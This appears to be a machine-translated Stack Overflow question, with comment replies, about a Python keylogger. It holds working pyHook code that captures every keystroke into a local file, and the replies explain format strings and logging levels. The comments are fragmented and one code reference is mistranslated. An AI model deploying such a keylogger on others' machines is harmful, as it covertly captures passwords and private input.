Я пытался сделать кейлоггер в pyhton и наткнулся на этот фрагмент кода в многочисленных блогах:
file_log='F:\\test\\log.txt'
def onKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown=onKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Хорошо, у меня есть три сомнения здесь:
Во-первых, насколько я понимаю, chr(event.Ascii) используется для преобразования значений ASCII нажатий клавиш в действительные значения char. Почему мы делаем это дважды: chr(event.Ascii) logging.log(10,chr (событие.Ascii)). Разве строка: chr(event.Ascii) здесь не избыточна.
Во-вторых, какая польза от 's' в format='%(message)s'
И в-третьих: я сохранил файл как «.pyw». Но когда я дважды щелкаю по нему, он не работает. Хотя, это работает через Cmd
s
. В частности,s
означает преобразование его в строку, а не, скажем, в число. Причины, по которым форматирование printf работает таким образом, восходят к C 1970-х годов; если вы хотите что-то более читабельное, используйте f-строки илиstr.format
. И ведение журнала с использованием строк формата в стиле printf. - person abarnert   schedule 24.06.2018log(10, …)
хоть и законно, но очень странно. Если вы используете уровни журнала по умолчанию, это может быть более читабельно записано какlog(DEBUG, …)
или, что еще проще, простоdebug(…)
. - person abarnert   schedule 24.06.2018